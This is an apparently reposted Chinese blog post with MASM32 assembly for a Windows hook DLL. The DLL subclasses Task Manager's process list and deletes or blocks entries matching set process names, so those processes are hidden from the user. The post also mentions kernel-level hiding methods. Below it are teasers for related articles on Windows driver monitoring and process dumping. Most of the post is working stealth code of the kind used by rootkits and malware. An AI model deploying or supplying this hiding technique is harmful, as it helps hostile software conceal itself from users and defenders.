[原创]一个简单的windows HOOK - 隐藏进程管理器中特定的进程

简介:

一个简单的windows HOOK - 隐藏进程管理器中特定的进程 

(适用平台:windows 2000 sp4,windows XP sp2)

 

        屏蔽任务管理器中的进程名称有很多种方法,可以在ring0级做文章:

修改内核进程链表,拦截内核API等。我这里只给出win32下的实现,

理是最普通的 windows 钩子机制。实现语言 win32 汇编 (masm32):

 

0 在DllEntry中处理资源取得和产生"工作"线程:

mov eax,_hinstance
 mov hinstance,eax

 .if _dwreason == DLL_PROCESS_ATTACH
  
  .if cutme == 0
   mov cutme,1
  .else
   invoke CreateThread,NULL,0,addr CTProcEx,0,0,/
    addr tid
  .endif
 .elseif _dwreason == DLL_PROCESS_DETACH
  .if oldLVProc == 0
   jmp quit
  .endif
  invoke SetWindowLong,hlv,GWL_WNDPROC,/
   oldLVProc
  
 .endif

1 钩住WH_CALLWNDPROC后,改变list控件默认消息处理过

程,从而监视任何list插入消息:

;*********************************************************************
NewLVProc proc uses esi edi ebx hwnd,umsg,wparam,lparam
 local retbyte:dword

 mov eax,umsg
 .if eax == LVM_INSERTITEMW
  assume esi:ptr LV_ITEM
  mov esi,lparam
  mov ebx,[esi].pszText

  invoke WideCharToMultiByte,CP_ACP,0,/
   ebx,-1,addr buf,/
   sizeof buf,NULL,NULL
  assume esi:nothing
  invoke lstrcmp,addr buf,addr stxt
  .if eax == 0

  .else
   invoke CallWindowProc,oldLVProc,/
    hwnd,umsg,wparam,lparam
   ret
  .endif
 .elseif eax == LVM_SETITEMW
  assume esi:ptr LV_ITEM
  mov esi,lparam
  mov ebx,[esi].pszText

  invoke WideCharToMultiByte,CP_ACP,0,/
   ebx,-1,addr buf,/
   sizeof buf,NULL,NULL
  assume esi:nothing
  invoke lstrcmp,addr buf,addr stxt
  .if eax == 0

  .else
   invoke CallWindowProc,oldLVProc,/
    hwnd,umsg,wparam,lparam
   
   ret
  .endif
 .else
  invoke CallWindowProc,oldLVProc,hwnd,umsg,/
   wparam,lparam
  ret
 .endif

 xor eax,eax
 ret

NewLVProc endp
;*********************************************************************
CTProcEx proc uses esi edi ebx _pm
 local ii:dword
 local lvfi:LV_FINDINFO
 
 mov lvfi.flags,LVFI_STRING
 lea eax,stxt
 mov lvfi.psz,eax
 
 invoke SendMessage,hlv,LVM_FINDITEM,-1,addr lvfi
 .if eax != 0ffffffffh
  mov ii,eax
  invoke SendMessage,hlv,LVM_DELETEITEM,ii,0
 .endif

 mov lvfi.flags,LVFI_STRING
 lea eax,stxt2
 mov lvfi.psz,eax
 
 invoke SendMessage,hlv,LVM_FINDITEM,-1,addr lvfi
 .if eax != 0ffffffffh
  mov ii,eax
  invoke SendMessage,hlv,LVM_DELETEITEM,ii,0
 .endif

 invoke SetWindowLong,hlv,GWL_WNDPROC,addr NewLVProc
 mov oldLVProc,eax
quit:
 ret

CTProcEx endp
;*********************************************************************

(注意:在windows xp sp2 可执行文件保护打开时,退出时可能会有异常)

相关文章
|
3月前
|
Windows
windows环境下根据端口号查询进程编号并杀掉此进程
windows环境下根据端口号查询进程编号并杀掉此进程
|
4月前
|
Windows
5.4 Windows驱动开发:内核通过PEB取进程参数
PEB结构`(Process Envirorment Block Structure)`其中文名是进程环境块信息,进程环境块内部包含了进程运行的详细参数信息,每一个进程在运行后都会存在一个特有的PEB结构,通过附加进程并遍历这段结构即可得到非常多的有用信息。在应用层下,如果想要得到PEB的基地址只需要取`fs:[0x30]`即可,TEB线程环境块则是`fs:[0x18]`,如果在内核层想要得到应用层进程的PEB信息我们需要调用特定的内核函数来获取。
48 0
5.4 Windows驱动开发:内核通过PEB取进程参数
|
4月前
|
监控 安全 API
7.1 Windows驱动开发:内核监控进程与线程回调
在前面的文章中`LyShark`一直在重复的实现对系统底层模块的枚举,今天我们将展开一个新的话题,内核监控,我们以`监控进程线程`创建为例,在`Win10`系统中监控进程与线程可以使用微软提供给我们的两个新函数来实现,此类函数的原理是创建一个回调事件,当有进程或线程被创建或者注销时,系统会通过回调机制将该进程相关信息优先返回给我们自己的函数待处理结束后再转向系统层。
57 0
7.1 Windows驱动开发:内核监控进程与线程回调
|
4月前
|
存储 Windows
4.6 Windows驱动开发:内核遍历进程VAD结构体
在上一篇文章`《内核中实现Dump进程转储》`中我们实现了ARK工具的转存功能,本篇文章继续以内存为出发点介绍`VAD`结构,该结构的全程是`Virtual Address Descriptor`即`虚拟地址描述符`,VAD是一个`AVL`自`平衡二叉树`,树的每一个节点代表一段虚拟地址空间。程序中的代码段,数据段,堆段都会各种占用一个或多个`VAD`节点,由一个`MMVAD`结构完整描述。
36 0
4.6 Windows驱动开发:内核遍历进程VAD结构体
|
4月前
|
存储 数据安全/隐私保护 Windows
4.5 Windows驱动开发:内核中实现进程数据转储
多数ARK反内核工具中都存在驱动级别的内存转存功能,该功能可以将应用层中运行进程的内存镜像转存到特定目录下,内存转存功能在应对加壳程序的分析尤为重要,当进程在内存中解码后,我们可以很容易的将内存镜像导出,从而更好的对样本进行分析,当然某些加密壳可能无效但绝大多数情况下是可以被转存的。
24 0
4.5 Windows驱动开发:内核中实现进程数据转储
|
4月前
|
监控 Windows
4.4 Windows驱动开发:内核监控进程与线程创建
当你需要在Windows操作系统中监控进程的启动和退出时,可以使用`PsSetCreateProcessNotifyRoutineEx`函数来创建一个`MyCreateProcessNotifyEx`回调函数,该回调函数将在每个进程的创建和退出时被调用。PsSetCreateProcessNotifyRoutineEx 用于在系统启动后向内核注册一个回调函数,以监视新进程的创建和退出,
39 0
4.4 Windows驱动开发:内核监控进程与线程创建
|
4月前
|
监控 安全 Windows
4.3 Windows驱动开发:监控进程与线程对象操作
在内核中,可以使用`ObRegisterCallbacks`这个内核回调函数来实现监控进程和线程对象操作。通过注册一个`OB_CALLBACK_REGISTRATION`回调结构体,可以指定所需的回调函数和回调的监控类型。这个回调结构体包含了回调函数和监控的对象类型,还有一个`Altitude`字段,用于指定回调函数的优先级。优先级越高的回调函数会先被调用,如果某个回调函数返回了一个非NULL值,后续的回调函数就不会被调用。当有进程或线程对象创建、删除、复制或重命名时,内核会调用注册的回调函数。回调函数可以访问被监控对象的信息,如句柄、进程ID等,并可以采取相应的操作,如打印日志、记录信息等。
26 0
4.3 Windows驱动开发:监控进程与线程对象操作
|
28天前
|
Unix Shell Linux
Linux 终端和进程的关系,以及在终端前后台切换进程
Linux 终端和进程的关系,以及在终端前后台切换进程
26 1
|
27天前
|
存储 Shell Linux
【Shell 命令集合 系统设置 】⭐⭐⭐Linux 限制进程资源 ulimit命令 使用指南
【Shell 命令集合 系统设置 】⭐⭐⭐Linux 限制进程资源 ulimit命令 使用指南
37 0
|
27天前
|
监控 Shell Linux
【Shell 命令集合 系统管理 】⭐⭐⭐Linux 向进程发送信号 kill命令 使用指南
【Shell 命令集合 系统管理 】⭐⭐⭐Linux 向进程发送信号 kill命令 使用指南
31 0